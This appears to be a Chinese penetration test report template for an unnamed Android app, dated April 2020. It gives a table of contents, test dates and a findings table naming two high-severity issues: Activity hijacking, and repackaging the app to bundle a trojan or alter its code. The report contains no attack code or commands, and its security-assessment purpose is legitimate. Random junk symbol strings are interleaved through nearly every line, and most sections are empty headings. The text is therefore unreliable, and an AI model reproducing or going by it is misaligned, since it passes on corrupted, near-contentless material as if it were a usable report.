8 ]4 K$ A3 P& O. W% a
( [- K, j: p8 p1 j1 X- Y) U6 S, p, e ( ^" v: o/ w. T. C
4 C( i# e# H5 I+ H7 y 3 a1 A7 M0 J# C9 Q! q4 t
) ^- \$ f+ s2 L5 `
9 O! ]- T- Y% z( Z: R" v* j
: G" n! ^' k/ t" u0 A % c. `6 R. n+ o5 N( h$ R2 o/ I
! x- A0 T& o+ e0 U; q& L Q! T
, u$ b6 h( t, I: J r( x4 v# Y
6 S9 N, k. M7 e) \; U3 T4 v
文档编号:
( @0 z7 r6 L# d
$ r# I0 J! |1 \" r) P, S% b
% [& g# U3 z/ f5 u& G7 \7 f. Y, `9 y7 ]; {9 Y) ^& i4 \
; R* w+ q9 N; S% A9 U
0 v6 y# b! q7 [$ A% @+ H* [/ Y / Q; ]6 ~) ]2 |0 K, ], x/ ^/ V, }1 w
# q5 K& M# ^6 o2 v" h M# `" ?5 h+ j4 {
8 Y0 A" G+ ]) K1 q* q8 {
! K% s5 F6 u: t2 B3 c! S; h 3 G5 q9 @: X2 i! U0 S! E- f' V
/ Q z% V3 R' ]4 }# |
2 ]4 x. E) D; X1 |$ P. T) J: J
$ f# e& E1 U# e! _' x
# ~( n# V0 |" @
3 C w( t2 q3 s G) v t
% v1 w! T: t: S/ r! F. n H) s5 ]: x7 Z( a* u
! [, t- Y/ M' a) [# j! K, K; o# \, |+ `, F5 v! S6 c$ A
- {2 }4 d w1 M& A7 l$ y, S0 N- I
0 d8 u2 z& {0 Z6 O! R0 v$ J) R: G: d+ y
; ]5 z9 ~. s# k; W' K4 c+ K! x
; S' }/ O3 q4 k9 Y& Y+ J' i# N
( g. [7 @1 o* M' A( Q2 z1 s
2 p2 S( v, {7 I) j1 V- Y3 s # N& Z0 l: t+ Z' ?5 ]) `3 F( L& ^
- J5 O4 j& [* d# l- n I1 x, v! G * x/ H( |2 }' ^8 z+ N' s" ^
( K4 Q( h7 U! M* C' y4 d- b) c5 }8 F
. l: j/ V: d7 E2 j/ Q0 |
% ?7 P2 F" I: h5 g; d6 U1 Y- U4 ?+ }
9 l3 T, ], I0 Y2 s6 W0 x' E r" f
! {6 l* I( C4 @$ h: e1 n1 D 某某某APP渗透测试
3 M7 I5 f' j/ M$ m' Z7 J6 y1 s3 f( [ i4 u$ C" |' K
. S; K8 S4 d& o+ t( ?
7 j! o- Z, n* V! {5 T1 d
( r( u' t* { T! v4 i% R
& ^5 X, M# n' |2 B+ O2 `) a
" |# \/ M0 J0 Y( j
; G9 q2 p8 X9 ~3 x; w$ e8 o' x
4 b. w1 M) _. c1 B- u, b% j1 f! ]) h# ]! ]: H P6 J, J$ p( _3 S
! N2 `: j# h, r; g
7 T" I! y) H, v ~ / c/ Z+ T" r* ^
7 w" o1 _5 D' g# v, |- `- o
+ M4 r8 V2 l& H2 r4 [+ V. t" T/ {, w! E; x+ `: t( W6 z
. D P: x4 U5 w3 Q2 T5 F# R
" A5 x. j' N/ e
& V5 y; j: [2 g# N3 M
# w3 @: f0 o# w$ ]3 h# [) d% R
. q0 G7 k& ~2 V6 K; Y1 a# L2 d/ Q G: Q; `0 `
. e O' _! G& k) D$ f6 p6 a* y& C( }7 m! i0 {1 q4 F$ w5 v
5 @9 {0 D9 p. ?8 J$ w6 W
5 N: z3 n5 W! n' U+ }! w0 T
5 b5 b0 Q3 h" u8 l
# e# v) G6 s& d+ {4 G
. |' H; ^ H5 [: n8 G' ?9 w( L& N8 s2 {, |+ _
技 术 报 告 ! @+ K* i: c0 r- e: L: {$ A
6 T; q* t# N- _+ h1 K1 `
0 Y( m4 ?6 F8 H4 w% e
4 K2 ~8 Q, V6 i0 _/ G# S) W! L
, `! L O; b9 Q+ D6 ^1 y# @6 }# b( @* G+ M. Y5 ~
/ k0 l, G0 M9 {" l! Q8 q7 ]" ~5 r6 q/ `( P
- ~4 M9 u' P- |& a& `3 [2 A- K4 Z
9 l/ s) R) z' [: M% L) H: @! B I
6 O/ j6 n0 t) }9 }
9 w0 u2 o5 |$ u. v% L* x1 s& |
( k, v0 K! B0 L; W$ _" v% z
( v( k$ b# j4 o" T! h j 9 r0 I {$ K6 }, }, F2 C3 e
1 m% C2 Q- |7 I% ]: Y% X0 Z ' \. r+ A x; D/ u0 @8 i
4 ]6 K" |# i+ V# C3 m
: d9 H, R/ N% k
, n, b6 Q0 E6 I! Z
" N6 {; X& [9 r. o) A+ E. b& a- @: C% n. H" q. k4 Y
}- h0 W. g3 h+ b4 U8 m# O( v* S# U
3 P: a1 f/ w' L- A1 I2 p- N * c* m$ `$ \. v. o
% ~, o, `, q, N) m$ q% K8 X+ J 7 i% X" z, Y9 w% n2 E. z+ b
# a& V7 o2 @% m* R6 {
0 R+ J# V+ o, X" Z8 S* c1 ^* c" Q* v/ d; g# `& C/ R. L
8 J2 W \- n" g8 ^
; R0 [4 c3 A$ R
# |' y. p* K$ }8 v, Z
" E a, G3 G$ ]- h
# M' J" i! v) a; d* r5 w, @1 w8 l3 m* d! x( v8 \6 L- e$ y
) O! E, ?) L( W* ]- D
X, L+ {" `- e! B/ h
: @; M( u# M* F2 V# y2 g/ ]7 J! i+ C+ N6 F j, e
: \8 ]+ r& e/ j5 z% q
4 Y. L) L; g! }, Z1 I5 y$ H9 t* W
* n7 v6 K# n# k$ k+ b/ }/ j$ n
9 r+ u0 _/ ]' D# W1 Y 2 g. [3 o( u, N) A- `
7 O1 l, @4 Q6 Q
V) V6 l, e: ^1 B4 |4 g
* [8 ~3 T$ Z+ t( K- x3 ?. O- B
+ j& i0 \- V' x! x$ l
. ~- O# K0 Y, _
8 [0 t$ U$ S# {) Z2 T8 c
2 c, [* f3 x4 F7 Z3 J* {% R" d2 W
8 l; f- F! T3 a0 K' i( |1 K2 V/ f
, E* C* v6 e' E3 ?1 S/ H
' E P/ ?7 a; }( n1 }# G) c1 h4 ?! X
: {& M$ v/ q! t8 w- ]
# v2 ]2 ~4 W/ d8 j
8 e" x0 D3 t# d
+ ^3 }" S* h8 k7 g! V: c0 P % o+ Q$ Y% b' |0 i, D# B( w$ `
6 Y% v4 S: k3 U
- T2 o# U; v7 J& Z4 C# t# N( H# W" |# U
% R+ m( r7 d$ j, W/ y/ I3 {2 ?( }4 c
! q* W- i0 }* h. c
" ?+ M# x% r& X1 p6 g
- h7 K- S) S/ x+ \) V- V, ` l# ~3 U6 O9 e* }2 R+ T
~2 G) x- @& z9 U
% c$ b+ W; q) t" v5 p) A
0 F- ]! g' J3 j/ ^4 l* y# y
9 @, Z( Q! W# n
; O! Q$ n7 p7 V
$ g, A ]5 k- J. }: O8 W7 b; b) W; A9 _- \
2 v* W j- G( z& E; C. n! K; K" U" B( l
! A7 R3 ?# f8 `# u) S; G, I3 `6 T' c( P" u& @8 }, h
0 k9 p, [% q' @8 G2 |5 f
$ B/ a' H( \% J8 W; W* e \
, k: r. u3 c* `0 q l9 m w2 G
* y9 L# M0 r. o& O D9 k! j7 B 4 D ~, @7 z7 [, c
- i( z3 g& |! X
' g) X$ y: B% F1 i! {4 \* i" f5 R" [. ?
/ B& G+ a7 u, D% z4 ]$ L& R2 W8 H$ @
. r& K. c3 p0 u- k* ]& ?
$ d! _7 ?* C4 l$ }: r2 {7 h& j4 D 0 i8 V- U |8 B/ z0 J1 U, B
; f. j2 e& U& U+ D p' |0 q# ^3 S
3 ]- i# s" y, S. F- Q" Y8 G6 Y3 x
* ?" `& G% E1 k5 h. W [ ; `) u% A3 Y9 c. M; `
# ?. U; A+ I* D( _# ^1 E) O/ C
" E* t! I: c& m0 p2 x6 y+ e
* H8 |5 ?1 G1 i% p
+ W% P, c9 d9 n7 K; x- \0 u- l6 r/ Y+ l4 t+ J
+ Y7 D; x0 x% P0 s
]: B0 m2 `( H* R1 S$ x. Z6 H
& m5 W5 p+ Z# R6 e1 F
8 J. J$ m3 m, }. I# s
% _* v. f) y u1 T/ c" W' J/ u) j. e3 a
* g% F% m8 e) w$ P6 y4 I# l- c0 h) o
+ r9 }- A% {, C5 ^ _
/ ~& x: S l: m' V; a8 u
M# x9 G ~0 i8 l- f% }& E2 j+ T7 ^- g% \
二〇二〇年 ' @9 A, q1 d) `4 z$ e
9 ]: t7 T( K R
7 M" v, s7 E1 @6 @
7 ^# `7 m& P" L% ~/ [ , o. O( o' Q) R
; p, h8 H# f. Q2 q
, I( R" E; p% M) { J) b8 w- w
) M8 v; J$ K+ F; j# o
( J. [4 i; w" p$ d) l% w) T+ N8 W5 J0 s7 P
+ g8 \; O! M1 W3 m/ t( E
6 r4 g' P& y! j0 r3 M 1 Y$ T# p" w& M: e8 T
. W; J9 J, r% J& f& ] `# b$ L
6 A, e& ^3 \5 u8 G( L* w
0 r) T+ q8 K0 W4 ~8 V0 d+ x
" p' b& W! G. L h# y |' @ t
2 _& [9 z3 f1 @# G6 K( H. I 0 ]3 N2 ?* z) Q" w; ~
& _8 q1 Z0 b0 C& I0 h- o
4 ^* W" u6 c" Z8 B& L# s& y) F2 M2 V6 |6 j4 }
目 录
1 d$ A0 t0 `0 {" s7 j) C- U* h* K x5 F, ]: ?! M! {$ T
0 K+ {. e1 K8 E# R4 a1 l' ^4 E
' O& Z x; O4 g4 `" s) p! C9 B 8 o# Y5 ?- t# z6 F3 n
& Q7 |7 M, }/ ]8 \& `) r: m
/ ]7 `) m" Z6 K' k& h% I8 S4 W+ N) n0 [
- Z* T. j0 B5 v0 ]* K
# R9 D6 ]% X- `, U' N" o; L , d7 Z( e5 P2 s6 D' n
& i5 F) h! h2 y8 }1 j. y
' F2 t8 r/ d! g/ ~5 s- y" ?
! |# U$ m# g2 q: ?: a( a0 [1 A
1 概述... 3 $ m! {) k* V# u0 A5 p% g* A# D, C; i
9 V) N' \9 e3 h4 ^6 m, E8 s
1 s% ]9 D. H& Z0 i$ ^$ Z
* Z) ~1 y. g2 f7 D5 L8 Y# ^ ! ]5 p: D' j* X1 y8 o* [1 q H- X' `
# p' C- t% }. k 1.2测试时间... 3 ' S, m7 P) x! v# \; W
( C6 ?/ u5 V: P# M
- g; d, o$ o) I, Y. G2 j- K. c0 j% b8 O
( ]( C9 g. o- G6 `8 W' R, X* B1 d2 L* u! p6 C7 i6 V9 _; i" }* n
1.3测试对象... 3
) v$ s* ?* I; q8 N1 {4 Z, ?/ D: l: D, q! e+ D
3 u+ g5 U! B' H4 y8 x) @7 q$ Z
3 s" W. a% O1 k9 g) G9 t) G6 |$ `
# x. p$ L# J4 B+ N4 P4 _
6 o4 j) e1 d' m 1.4测试结果... 3 7 A" Y2 n$ U4 z8 ^& e
, X, {# D# q) z8 M ( Z/ T! z( e: t
6 P( T ~- Z/ c) d Q- W 3 ~* }# h. k9 N7 w/ B; d
5 K' w6 S2 ^7 ?
2 检测结果... 4 1 {9 @) T. F5 ^
2 X5 M% p3 v( P6 i / j4 z2 s' x) c
+ f- V$ W2 d! a* d6 f4 K
0 w5 n0 T1 f. T O( ~2 Z
4 m( S, @4 i7 z 2.1 某某某... 4
1 T+ p4 a3 q% D N4 m$ W Y t- m2 |" m$ O3 U( ^$ v; w
5 E! [7 V9 \9 y: N9 f# k; x# D1 d% I$ G2 q3 u
/ V8 a% E2 |- N% U
- }3 D+ c7 N/ O$ ?* f) V 2.1.1检测目标... 4 # a+ G0 g4 j& g7 w/ v" i5 }/ g
0 J' O- k |& c H* y2 Q0 g ) z, ^5 \; k7 j* a9 \
$ Q0 i! k4 b, x, i ( }; K$ w$ w- }0 Z
" `/ k9 L- M8 B( s6 B8 w# U
2.1.2检测结果... 4
# ~" _2 U* R/ _( R! o+ m' D3 U! P) N
) q: W% y" M2 _9 d: m
8 [; K7 j4 A8 i" }9 t' a- q
2 P, C2 V- s) o. r7 Q2 ~, O
4 D& k* S! L/ ` r, }, c 2.1.2.1. 4
. C( @$ S4 G' T2 k2 F8 c
! ^# U* h- x, w# j2 Z. H 7 A1 j1 z& F7 i& h! u2 ~' ]* q
: B& p3 u! a; e3 t/ R' [, S
5 P: E1 _0 T9 v4 r1 ]) m2 u# Z! q* u7 Z# {0 F% l( W7 o1 `1 \
2.1.2.2. 6
) {2 H i, Q P9 d( d
" c. Q- o; r6 u / G4 Y# M, q p Q7 F: b7 U
# ?5 m# c. o8 Q- m1 j( m" j! H
$ c9 d$ ^& ^2 D$ t
& ]# ]2 B9 A+ j3 |. V3 f5 M
# I: H) }4 S& _/ k, @2 t& _; w6 i( _2 k1 N7 ^" Y" [+ g
% @' W' s N( ^: W4 K' D
; X2 l9 b' m4 V! z
* ~% }/ }) D4 F- }$ |
4 [/ _& X% C( ? d7 Y0 O & J' L0 n: A! l) C' t9 ?
4 y. h% b4 Q7 P2 ~ 4 A* H2 e3 b6 k) O$ J$ j
0 G" t1 h8 k$ o) d' \8 {9 F* K
6 {* N& V- z# K$ \. e* N5 u5 [9 Q
% k8 |& N& n# s. f
) N0 E3 K7 W, ]' \
! h6 C9 |% m! G( |9 ? 1 概述 & D- h" S: J7 [) i- S( v0 X
5 `+ O% |3 ]3 {- G, B: G
4 Q, k: _+ G$ b
+ x5 [, N1 \9 m, b4 f
6 Q# G8 Q& N; D9 Y4 N6 ]2 H) v7 J4 P: q' F% I# D5 ^8 [
1.2测试时间
) z$ t* [$ @+ c& c1 O
9 m! a9 S2 G1 r! i# U! X* K" t: r 0 a/ D. k3 c9 z& J% X$ P7 k6 Q
+ O" ?* V: T. p5 m# ] . O N; m- ^# N9 n
/ T+ g; [. Z# M4 o6 E
/ n0 u& N6 _. l1 D& l
4 z" ^) T- d( s1 o2 g $ Q" ]( B# ?; p. A) u2 d
: D- `1 l. X7 b: E$ Y
( M1 X9 f$ t! ?8 {' \5 B
' G& l& I1 L% O4 F r& f1 a
/ a! C6 s: }2 ?$ |8 H
! n. F4 [& v. t; a' m( Q7 P 渗透测试时间 2 A. N w( @+ M
* q9 p$ Y1 b0 b; w3 k
- K" h* D& w6 o6 S
( B; B$ i( c& I6 J | + o( E6 q! N, ^0 q6 X2 e
& W4 z' B; v, `, s; w
H7 j1 B, _# \& F
. b/ n0 Z& }8 R/ F * |- q) z" B9 H; @
9 Z( K7 e) b: _1 N. b U' k 6 P0 T% s% L; k5 s9 g4 a D, A
0 \2 V4 u/ C0 V
2 D' I# K5 O" B ?7 H$ s3 f N. l4 A9 f) I. ` n; W1 }
起始时间 $ A4 @) g R, M6 E/ x% I' k
7 k+ U+ Y8 F4 y* g
7 P! v! c2 T! K' H: T7 ]; M& |$ d7 m. o5 |- F" C7 F
|
) X6 i/ C* l- S# O
5 r5 k0 P, y1 y; H* M+ I" x( ^
( l' }2 Z- x7 Q. P" a% g2 ], V
* G2 R+ C; d3 D3 o9 K6 V
8 M( g! M( {; s7 j; J
9 m0 e) K- H- e 2020年4月6日 ( A1 B& }- B- v0 u2 @2 Y% B8 D
% O/ D2 Q/ O' U1 ]& r
: s/ E7 S* | j$ O! N9 ~) Q8 Q! D' v9 x
| 6 n" [7 w- J% _' M: M4 w3 `
- [2 d+ K/ l: M7 }+ X ! R, G5 T/ s: {3 X! `; ?
9 }% ? y& ?% a( K( z 5 x% i) Q- l9 f7 f F
5 O) X* O6 S1 E5 p 4 Q- }+ k4 L8 u$ w9 D
8 W* I8 O# `, @4 `. T) Q4 @1 Z8 N5 a
+ }# ?4 N8 F# @0 k( J$ M/ v4 ^
( W6 ?% f8 w4 ]9 D2 t2 H 结束时间 4 X9 a9 ?( x9 L1 P
8 c3 j; c% F2 y6 V
5 p2 K8 e1 b" h; ]2 S* ~
0 n; y2 G7 g( C, _ | % r2 q9 ] C8 S; S
0 m. i1 e( n: Q1 f
; y- S% K: |: U" S, b" I- q
- C& W4 L7 G! ^+ Y0 e
0 a( D- v+ a+ ?9 ]5 G
5 b6 k F- \, |9 f+ K
2020年4月9日
3 K0 I5 T9 E1 ~9 g- l2 ~* F) L
+ G8 b' _: `' H6 O: A
3 _# r" a/ w9 g; u/ p# V- M! F1 F, q. q3 R) y& _
|
' Y7 C9 M+ l. d# j& f4 o
# e9 C% V5 {" A; s0 O l n# @, c , I+ J& a, G& a0 ?: G" r( A/ _; o8 d
5 B2 V/ U9 b5 k. J3 P/ K+ {, S
3 M, K* ~7 k/ M* w: I, A
* y4 Z+ _' I' {& _2 u! ]% H
" ~2 n6 R3 X) t% A- e3 h3 w7 p! ^ l- ^$ \4 s. r
; x" Y% q" z- F% l @3 i0 X
- N4 [* z) s0 g 1.3测试对象
3 ^5 ^9 W, k1 D' _" x3 L+ T9 h2 \# X. Q) \3 i5 h$ l+ D
/ X3 U' Q3 F+ s% m: c7 G
+ [& n6 Q5 Q# y$ D2 K9 g
- w9 V0 R% q2 C, {" t6 F% p* N# r
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: % v' o$ f E8 [( ?. D5 O
5 p; ~- q; q+ Q5 q7 w
x7 Q- e/ v7 t7 v5 S1 b' Z$ `6 `% C' d% [( O H
9 y. ]5 W) w$ f5 Q$ l
8 H8 V9 R& p; x' ^2 x" w/ d' T
表1-1 检测对象 / q1 e! q$ D1 b' y1 y
9 a m, j6 c- t. P) B, o8 ?1 }" H
$ v9 a9 ` r# N& n
3 J9 D4 N0 g7 Z% w2 D
/ T0 d* H) v8 Q9 X7 r9 Y
3 \$ _, J/ ~& |$ `3 ~* \
) O5 p$ p. u# j0 E4 q: u
( p9 z" X3 v+ b" ^! P" H
: [. `, k4 {. X9 j* i6 D" q& Y* s% A
' Z! ^. c" `& {. q% Q' b; B
0 a( y) X$ O3 @7 I8 V
. c% D5 x# A. i/ m' z6 h7 I. P0 @$ o- ~# P7 [
序号
: B$ ^4 Q0 A3 u) F/ ~, s- @; A3 g$ l9 z% @ t
6 o0 n* Y6 ]6 y
( _; v* s3 H% L" Q" [; Y4 ], U0 O |
3 E: ?8 J! _0 G. ^7 H3 |! I- }& @; H2 Y/ E0 ]6 T
. z0 Q$ `5 |* `+ _; v& E
) I& _* J4 G, x; {$ L
1 y$ M6 `* R7 b) Q! }: X; [0 H* ~" Y
# o: T% o) G- R; w9 z6 T 测试对象
/ v. @1 k8 {0 D& z) j# w R& Z$ M" W/ [, C
. |5 G- ~8 e% e6 T# l+ j# j" j
3 A" k4 K; Y8 U" T+ d& x+ \ | 8 h8 d" t, l2 W, x
6 |) P" h/ p3 C4 l# l+ h; f1 G
2 U" ~3 m: X, s0 m T9 e$ W
. P6 {4 U3 u# v% O
Q, v* J2 b- L$ J) ~. t( E
# r- j# T; c8 Y0 S) t
测试地址
7 t3 R; t# V' X, ^: R. b* F
: a& k* K) K( y0 M3 Q! \+ m- h ) C+ \0 a0 e8 A% l
! L9 M9 Z S8 m' v$ a( n) P* _9 u
| 5 B) a. r3 O* m% j
. e; x0 y0 U2 E* N: d
}* Z7 y! T+ F+ ^' F: _
$ h# X0 _/ v- [' ~& D( o, k
% l4 ?! o3 E# d/ e3 O3 O3 L+ c) v
安全漏洞
' @ y% i! {" P( f( l- h# }' T
# k- q4 V$ I- {* k2 n . y' s4 p; A- Y1 ~
; G u5 l$ M4 I' b/ C) `8 N6 C4 \ | 7 v T5 h% c5 ?' f* q
4 E- I7 p# @6 [# o
0 e1 C: G, n6 [" V0 M; r" J% V. p3 a0 f# J5 Q
6 m4 M& p/ H6 B: [6 t
5 D9 P9 `2 A& q
) G, B# f2 u6 ^$ o1 q6 L, p/ u5 R6 @3 p1 `% m+ d
# f) {* M8 }" _
9 G5 P: Z8 E6 K/ [6 X8 G9 d- Q 1
- u2 e1 Z& g6 |5 ]+ ^) \% _8 Y$ A4 N2 G+ W* z& h8 S* H
* W- s3 ]8 I; w, q$ N5 Q; O3 b0 D
1 |) b/ @) ?( ^: R |
0 u X+ B" J& h( k: j f; R/ C2 _4 |' N2 v+ e
, I+ s( T& d. P b% h- [& }4 C1 `5 ^1 h
! K+ [0 I( r# I3 L
3 ~0 z! `+ I* r: D( _ U3 {# E6 A8 P
某某某安卓APP ( D$ Y) |# F, g; y O; f1 W4 h
$ R6 w/ N0 r2 \/ b7 h; C
/ W% i- ~0 @0 v8 q5 h. e% u; I0 H7 c6 `8 u6 {) G
| 7 ~! g C0 i5 H2 q
; k+ F4 r' } U6 r- w
! L) [; t* f" M/ t: \* | T
( O+ D1 F+ Y* q6 i- p
1 u/ G& G5 v9 `% J
6 U2 \" m4 D/ b6 l0 A ( i4 g% n* ?9 N& X7 H
; F K V+ Q+ T# i9 L9 ?8 L
& V. }, s: d: O" Q2 Y
9 T# R' q7 S' b$ M
|
r1 @6 S( O+ U
9 T2 i2 `6 @7 M( q5 R `3 V 9 H' o& f9 l( R
7 Q: Y2 c ~3 {5 D; | 7 U. S$ C9 b4 p1 J% s6 `
7 ?6 ] o; z$ k6 U. S 2 , w \" ?7 f3 _8 B+ i( A+ W8 t
" ]- {9 y( Z) r+ f
5 L9 m5 k A3 U, D' W! H$ g, Q" f3 |6 a1 D' k/ _; d* d
|
2 U3 ^. a" a* B1 U
* T0 F7 y9 z1 d" I! G
- j6 T! G% W% ~3 C( _; e, Y" {' I8 F1 u8 _ l7 N; F7 b
: K& K$ l3 r9 q( {* Q$ J
6 A1 s4 C2 g3 G/ ?$ K \ : j# p; |! r# a# L" k
% P' T z5 E0 _( |$ h9 ^ + T6 O9 S) u ]* O' ]/ [
( h& Y7 K# j* ]2 O9 _6 n 1.4测试结果 * r4 T$ c. O# W6 t" n
& s# g0 m1 k* \/ `
- z: {6 ] U+ ` i1 J
7 ^! ?* I: R! h' B% l
4 L- N# f0 {& Q1 P/ [# G1 K
1 a* |% B$ u: V 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
( b1 D9 j6 ?# W. b% f; h4 H
) F0 ]5 O0 }& }, d: w [ 4 {6 ^! O, B3 S' Y' g
+ w7 M$ f% L* Q7 }+ S0 Z
" O# {6 W. E: j# C: \2 J/ ]
1 r2 V8 `4 p4 h 3 l9 {( e f- k! o4 O* V9 k4 \0 C/ M
1 e1 Y% P, L. D4 W. E8 W4 |2 m% g 5 d( R4 a( u8 S, ~) t6 B D* Y( K
6 p7 K6 f# ~: p o6 x3 h
. \+ E2 d' a+ M7 z
, K* p0 k0 M3 i) p& g/ i1 P
9 t4 u4 e7 v% k% {5 s; @6 E1 O) v6 B
! w h0 d- L" x) a3 I
' ]' N) k" {- d1 U$ }
# V; c, y2 o2 {5 l2 k
! E V( Y3 t! _
) F: q9 l1 T$ `2 x! `
2 q% a3 w8 y) z8 W, p , s I: R5 e R. D2 c4 m) D
- [9 k$ T/ s) P& o$ \3 o, e 序号
% W+ I, `. q/ v, Q' M' n
6 F# I$ _% D# n" F( Q& m L: V9 t
' P0 n/ r% x! N1 s; t$ i6 C3 R8 U' ^# ^
| 3 r- h! l; n# U9 I" v! S- a
% N& n$ `' p& |: `' f9 l , h/ H0 I' d2 h3 p9 M
: p2 g3 d, V% Q & ^) ^* r3 l' b- T
/ u, v7 W- J8 ?0 J/ q% p8 X 系统名称
3 S9 C/ S3 J) l0 W, x E( ?! x, I% t7 J1 g% n- [' `
! @6 F0 h/ r/ j4 Q( _6 P5 ^
4 d9 G$ D: p& v; [$ @5 x: a
|
T: r( b4 W( t! S& X6 O3 M0 |, j" T7 ] {' b. s6 M& B
# I2 Y' X" K. ~
2 w# K" j. {1 C, Y6 H
! ^9 f; C* X; N4 W
5 }9 h# ]9 I& l; Z$ P4 M 漏洞名称 / S: Q H8 g+ i# u
1 ?, P& q" \% I$ u: \ ) W0 p1 @7 O; Y1 i
" U+ ~ d8 d1 w6 t. u/ O. o$ N |
: l; \# s) p4 G' ?. J+ d: O7 M- L9 b2 K$ H' K* B8 ]2 P. w9 @1 S
7 P) Z" X5 C: k. w* G& I
' C+ x+ B- q& m% L7 k; T
+ S, B- x! V; Y
/ d5 K: r9 P( ~& Z- H 漏洞危害
. m: F9 o2 o i
W7 H5 o& l$ I& _ ^3 r- M : C% Y* L& m; u1 o5 T- [/ N
" B* r: p( R0 _1 ?( o" h" N) _( d- z, f( q
| ( h2 n0 l% o+ M- ~: H1 y$ X7 e
# x& u1 ?, T7 x! I: G: ^7 I& }
1 n4 k5 |: w! D5 V& K. [% ?
( t: S1 w: j6 X : ?6 |; e; t2 B, O6 }
3 r8 v2 K5 M: O7 _ 修复结果
+ Y* `; `' O$ s1 x4 K* ~ R& r [
2 ]4 M9 J9 v* @4 t: T3 I* j: X
7 R$ y0 x2 j- R' u9 C* V3 a9 K2 v! e- o5 i0 l% A6 M$ n! U
|
E- R( g1 a6 _9 M6 t1 J9 @' R7 u- Q2 `. J3 ^- w3 `* V
1 w2 X5 K0 w. T: x7 \. j7 [8 k' S
" ^4 z1 n6 C. W: o3 ^2 B% J. |- \
# k5 B8 M' W6 P% T% Z5 y5 D: a+ s( w1 o% D
6 ~/ U2 L ^0 `7 C* ~/ F
; d- F: q5 d2 i% i, G
8 n2 P# O6 }6 ?$ z
! c0 P( N* _% h8 W2 }- X 1 3 U# b; m; ^; M" |, A# e4 w5 E) u: E
, Z7 }) m3 R* T8 G) K
" I# K" R' \+ r2 o o- Y. k( Z, `& R4 h9 R1 y5 B( [
| * ^, W' {3 A( `- M
4 C$ j. X; T- \; j: ~
1 I4 x4 R4 t, Q7 S% `2 {
' V( ]* O6 p& F9 p" O
, I6 f" N% @% Y
, L8 j- B A& j$ J; f6 _ 某某某某某某APP
2 Y3 d# \1 L A0 U3 S, u; ^" z% L& n$ U* U; A
' l5 P$ n6 d' A2 o3 S4 P7 J
* X: H: c! {* b |
9 V) Q1 P+ ^1 A4 c8 x. D% g3 h/ d: W
, h4 M. h. I: W s0 S$ h/ b
1 r8 W0 L/ r. m+ ?& n
1 R8 N0 C8 k# r+ ]$ h( u- x1 I- K
; A. z; O. M+ } Activity 劫持 6 s2 f4 R; P/ x/ J
- i+ E8 t8 x8 H9 Y
! v! e* q; _" c& d# k5 M, R1 p" l5 [: T- B+ }. |, l3 t9 U1 R
. B8 ~/ V# _3 c3 V- r+ _3 D t
$ Y/ @4 H# f3 P & l1 z% T2 M3 O
: m" U7 J2 D. C3 z
, [5 x7 l) K7 r) O E1 A, O3 V1 P6 ?1 G
|
" X" ~. N/ c% Y2 K" c K) H, V' K E* ^( I, @ [/ y
$ c7 c1 I& j; e% o1 ^2 E; m, A; [5 t% T
. w f& r( L% N& r! u2 m7 x6 @
0 E. h& }7 ~. {! X0 k 高
+ ~; O [' z( s7 e; `8 n: m, e& v* G
5 i; k$ r9 w/ P( p8 [* H* K6 F. K1 z/ ~- s: D0 A
| ( x8 \6 L1 D4 n6 ~2 h
/ G! T! V! v& U& |' h1 m
0 z/ q h( p9 i3 B& Z( J: M3 F! @0 c- V! c# [* D+ V
0 b/ U5 i. _0 S, Z
# @/ I( ^* H6 @- r
8 H. C. {5 u7 V: t
) L8 j/ B1 K5 z) H3 [% v
* K9 e; f3 H+ {; i6 \0 m5 f5 ]. h" |6 S8 B+ E0 f
| . V' p- Z$ j0 F6 g$ n6 V2 H
$ y& w& Q0 U0 M( P' H& _! e
+ w5 j! K* W" |; _7 I* e
& ]. O* @3 Y" E
, I: _* Z' b* [$ i
! S7 N3 ?1 o. J! F6 K0 J) ~# o ! n g, l- r, s
. ]7 {+ U; E) h, d' L
/ O1 f$ U2 d; l4 j: J/ q
9 i. ^ c$ W5 Z6 a2 J0 m5 h 2
1 R- J1 I) l# h' F8 f s' }9 ~7 |; u; G
# u* _0 S6 k/ a. Y* ~" y1 X
! \1 c# Z& d' z9 O X* i* Q& M
|
* L, _( E* k, [' F/ F3 \ ~1 [" Z1 c6 v2 k' D9 R
: I" Q, Q; {. H/ I7 e
( A& G8 G1 o+ }& |* s) E % h( n7 [4 Z, ?+ P
" z( Y4 }4 G; B& Q+ ]- Q4 U
某某某某某某APP ; D+ l3 e' n0 j9 ]( Y2 c9 a
. }. ]# r" [9 |* v6 m
5 i% V7 ~/ y% x! b* J8 i& M; T+ B
| 0 h+ i/ d5 o5 Z: F0 W$ ?5 `1 i
% ~( o6 ^9 N, W- V( N/ g( Q
( J( W# f- C* b, }* D: B% N9 I
! p" M: Z9 X) E; v' f; m
5 @% q) Y& ]9 i b, x( x4 q0 ^! Q9 V9 s
反编译二次打包捆绑木马、篡改APP代码 % ^& [+ j- h+ U2 _# J; B
8 j8 u/ _9 B4 g/ U; q2 {
7 u3 z5 s. [! d" c3 |+ c+ s8 q+ h6 a9 b6 ~9 H
| $ F$ U D& V8 [" P4 G" I9 F
5 ~4 f, d, Q; D2 o1 T # b% j% ~0 E& x" s" v
! _$ k/ g6 P% a" q( Q+ L- Z) N) O M
' m$ z% f$ w, L0 {
' @, }3 `, e# K5 o1 l+ P j, V
高
* S7 J0 |7 a2 }5 q) _3 E ]9 |* V- J5 C8 c, c- ^/ @
Q2 \. C9 Z1 K5 k# t4 L
# L. z, j! v4 Z$ g( q- w p
| . ^4 g5 p6 H K0 e/ {; w
' r" s/ v3 h6 ^! V) J- X( Q1 t1 q
0 k; E1 r! R' [3 s
3 {8 I% t% b9 z1 r4 f! W0 X% K
/ X5 u) b; D+ c) _8 I. P" f+ T1 S" I
( H- ]2 k( U: ?- o
9 N& w2 n# v5 j3 P; t* i- y8 E
" Y9 s1 K& a; W8 l7 s# g& w ( e" N9 O! v# K7 O/ D' B
3 J3 E1 o, e' z, w' u6 n; [ ]0 o |
1 V* J% b. f( P2 c, p* d1 b: O
. ^5 Z0 v. p& S& u4 @& d2 y! O
8 _" x1 q0 K( E6 `# Z% b 4 p! }1 M* l* B @+ A/ T
! w. M# D" w8 ?1 E- o 3 j' N# b# ]- t4 n
9 k% \/ y5 n( j. Z8 ]
3 [9 e! x7 z. l% ~* T2 a3 v
' T5 N% v# D+ T* |7 X8 P6 q, e 4 P; c/ w- R. i% t" Y
+ K5 l8 P4 ~ r0 H( U
